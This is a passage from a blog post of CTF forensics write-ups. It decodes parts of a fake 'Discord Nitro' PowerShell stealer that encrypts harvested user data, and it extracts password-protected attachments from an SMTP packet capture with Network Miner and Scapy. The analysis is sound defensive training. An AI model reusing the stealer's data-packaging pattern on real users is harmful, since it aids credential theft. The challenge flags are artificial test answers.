$payload = $userInfos | ConvertTo-Json -Depth 10
$encryptedData = Encrypt-String -key $AES_KEY -plaintext $payload
--SNIP--
Write-Host "Success! Discord Nitro Keys:"
$keys = GenerateDiscordNitroCodes -numberOfCodes 5 -codeLength 16
$keys | ForEach-Object { Write-Output $_ }
It’s a very long script so I had to truncate it in the snippet above for brevity.
Now we have a few pieces of interesting information, let’s dive in:
- $part1 seems to be an encoded Base64 message so we’ll have to decode:
echo "SFRCe2ZyMzNfTjE3cjBHM25fM3hwMDUzZCFf" | base64 -d
HTB{fr33_N17r0G3n_3xp053d!_Bingo! This gives us the first part of the flag. Let’s keep it in our pockets.
2. Further down the script we also find an $AES_KEY variable which is also Base64 encoded:
echo "Y1dwaHJOVGs5d2dXWjkzdDE5amF5cW5sYUR1SWVGS2k=" | base64 -d
cWphrNTk9wgWZ93t19jayqnlaDuIeFKi“While decoding it to uncover the second part of the flag wasn’t as straightforward as we hoped, we’ve obtained an AES encryption key in the process. Now, we should consider leveraging it to decrypt some ciphertext.
Wait! Remember we had a second file named ‘rj1893rj1joijdkajwda’ containing an incomprehensible block of text? While decoding it with common schemes didn’t yield much, I have a hunch that we might need to decrypt this file.
For AES decryption we need the following:
- AES Key
- Mode
- IV
function Create-AesManagedObject($key, $IV, $mode) Cipher Block Chaining (CBC) is one of the most commonly used modes of AES due to its use in TLS. CBC uses a random initialization vector (IV) to ensure that distinct ciphertexts are produced even when the same plaintext is encoded multiple times (source: Wikipedia.org).
As the IV has been generated randomly, I was overthinking this part of the equation and searching for it everywhere in the packet capture and the PowerShell script. In the end, I went with a default IV value of all zeroes (16 bytes) after first decoding the encrypted text from Base64. It seemed to have worked!
The key lesson here for a future Maverick to keep it simple!
This is what our CyberChef recipe looks like now. Of course, you can use other AES Online Decryptors if it pleases you :)
Fantastic! We are getting somewhere now. The value of Email seems odd enough and not in line with the GlobalName which is a string. Upon inspection, it seemed to be encoded with the Base64 scheme. Cheers HTB! Hopefully, the last hoop to jump through.
let’s decode the value of “Email”:
echo "YjNXNHIzXzBmX1QwMF9nMDBkXzJfYjNfN3J1M18wZmYzcjV9" | base64 -d
b3W4r3_0f_T00_g00d_2_b3_7ru3_0ff3r5}And voila! We have the second part of the flag. Neat little challenge huh?
Flag: HTB{fr33_N17r0G3n_3xp053d!_b3W4r3_0f_T00_g00d_2_b3_7ru3_0ff3r5}
Phreaky
In the shadowed realm where the Phreaks hold sway, A mole lurks within, leading them astray. Sending keys to the Talents, so sly and so slick, A network packet capture must reveal the trick. Through data and bytes, the sleuth seeks the sign, Decrypting messages, crossing the line. The traitor unveiled, with nowhere to hide, Betrayal confirmed, they’d no longer abide.
File: phreaky.pcap
💡Solution
We know the drill by now. We begin with a High-level analysis of the packet capture before a deep dive low-level analysis.
The TCP traffic contains Mail (SMTP) and Web (HTTP) traffic. Paying attention to the challenge description there was a hint about decrypting messages. So, we investigate the SMTP traffic further as it is clear-text.
We use Analyze → Follow → TCP Stream:
This looked promising. Now we know where the gold is, let’s narrow down our network traffic and inspect SMTP data only using a filter:
(smtp) && (data-text-lines)
Focusing on the length of the packet (1500+) and the data contained within it, we see quite a few packets containing ZIP archive attachments and the associated password.
If you want to filter out those 15 messages you can refine your Wireshark filter and use the following:
(data-text-lines) && (smtp contains "Password")
Now we have 15 messages to extract, save as ZIP archives and unzip with a password, we still need a way to only export the attachment data and passwords to an external file or CyberChef for further processing.
There are three methods to achieve that task:
- Use Tshark command-line packet analyzer
- Use Python’s Scapy module to manipulate the pcap
- Use Network Miner tool
Tshark would usually do the job well, I had some partial success and have abandoned this due to time constraints. Copy/pasting can be quick and dirty as we only have 15 packets. However, we wanted a repeatable method we could use in future CTFs. This leaves us with Python and Network Minerner.
Method 1: Using Network Miner
Network Miner is a network forensic analysis tool used to extract useful information from captured network traffic. It’s primarily designed to parse PCAP files and display information such as hosts, files, emails, and other data transferred over the network.
Our task was made very easy using this method. It involved three steps.
Step 1: Load the PCAP into Network Miner
Step 2: Export the email messages using Outlook or other mail apps
Step 3: Export the EML file to disk or open it with your mail application
Extract the ZIP file using the associated password found in the same packet. On this occasion for the first ZIP file, the password was: “S3W8yzixNoL8”.
A quick and neat way to dump only the passwords for easier processing can be achieved using our trusty Tshark:
Once you have extracted files from all ZIP archives, you should end up with 15 files that seem to be part of a PDF file split into multiple parts.
Method 2: Using Python and Scapy
Scapy is a powerful interactive packet manipulation program and library.
It allows you to forge or decode packets of a wide number of protocols, send them on the wire, capture them, match requests and replies, and much more. Scapy can also be used for analyzing packet captures in various ways.
The following script will help us extract the data we need from the SMTP traffic. I’ve used ipython3(Interactive Python) for this task:
from scapy.all import *
# Load the pcap file
packets = rdpcap("phreaky.pcap")
# Filter SMTP packets containing the word "Password"
filtered_packets = [pkt for pkt in packets if TCP in pkt and Raw in pkt and b"Password" in pkt[Raw].load]
# Extract data from filtered packets
email_content = []
for pkt in filtered_packets:
email_content.append(pkt[Raw].load)
# Print extracted email content
for idx, content in enumerate(email_content, start=1):
print(f"Packet {idx}:\n{content.decode('utf-8')}\n{'='*50}\n")
Now we have the data and the password, we turn to our trusty CyberChef tool to transform our data into ZIP files and extract them with their associated passwords. Yes, I have done this 15 times on CyberChef but with relative ease and much faster this time. I could have programmed it all in Python but that would have taken me much longer. If you are good at programming this part, please get in touch :)
We have 15 partial PDF files in one folder now. To merge them, I’ve overcomplicated things by trying to use PDF tools. However, I found the simplest solution you could have for this from a previous CTF solution. It’s the “Keep It Simple Stupid (KISS)” principle.
$ ls | sort -V
phreaks_plan.pdf.part1
phreaks_plan.pdf.part2
phreaks_plan.pdf.part3
phreaks_plan.pdf.part4
phreaks_plan.pdf.part5
phreaks_plan.pdf.part6
phreaks_plan.pdf.part7
phreaks_plan.pdf.part8
phreaks_plan.pdf.part9
phreaks_plan.pdf.part10
phreaks_plan.pdf.part11
phreaks_plan.pdf.part12
phreaks_plan.pdf.part13
phreaks_plan.pdf.part14
phreaks_plan.pdf.part15Ready for the magical and simple command to merge them all? Behold!
cat $(ls phreaks_plan.pdf.part* | sort -V) > phreaks_plan.pdfVerify we have the final PDF file:
$ ls -l
total 64
-rw-r--r-- 1 cybersecmav cybersecmav 3302 Mar 19 12:46 phreaks_plan.pdfLet’s open it. It’s time for the big reveal folks. I don’t know about you but I’m getting excited already :)
Alright, I couldn’t help but tease you and drag it out a bit. Now, the flag:
Conclusion
Whether you’ve read all the solutions or just those of interest, I want to extend my heartfelt thanks for visiting my blog and taking the time to engage with my content.
Forensics has been an exciting category for me, and I’ve spent more time on it than any other category of this year’s CTF challenges. Given my background in Blue teaming, it holds a special place in my heart.
While I found this year’s Forensic challenges slightly more demanding than previous years, I believe they offered valuable learning experiences.
I urge you to explore as many solutions from my blog and others as possible. Exposing yourself to different methodologies and perspectives can broaden your understanding and deepen your skills.
Once again, thank you for your support and enthusiasm. 🙏
Now, Go and Play!
